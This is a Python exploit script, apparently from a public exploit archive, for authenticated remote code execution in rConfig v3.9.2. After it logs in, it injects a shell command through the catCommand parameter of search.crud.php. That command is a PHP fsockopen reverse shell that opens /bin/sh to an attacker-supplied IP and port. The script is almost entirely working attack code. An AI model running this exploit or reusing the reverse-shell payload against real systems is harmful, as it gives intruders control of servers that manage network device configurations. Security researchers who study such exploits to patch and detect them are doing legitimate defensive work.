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The script exploits a postauth RCE in rConfig v3.9.2 Raw
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 6:
print "[+] Usage : ./exploit.py target username password ip port"
exit()
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
request = requests.session()
login_info = {
"user": username,
"pass": password,
"sublogin": 1
}
login_request = request.post(
target+"/lib/crud/userprocess.php",
login_info,
verify=False,
allow_redirects=True
)
dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)
if dashboard_request.status_code == 200:
print "[+] LoggedIn successfully"
payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)
encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))
print "[+] triggering the payload"
print "[+] Check your listener !"
exploit_req = request.get(encoded_request)
elif dashboard_request.status_code == 302:
print "[-] Wrong credentials !"
exit()
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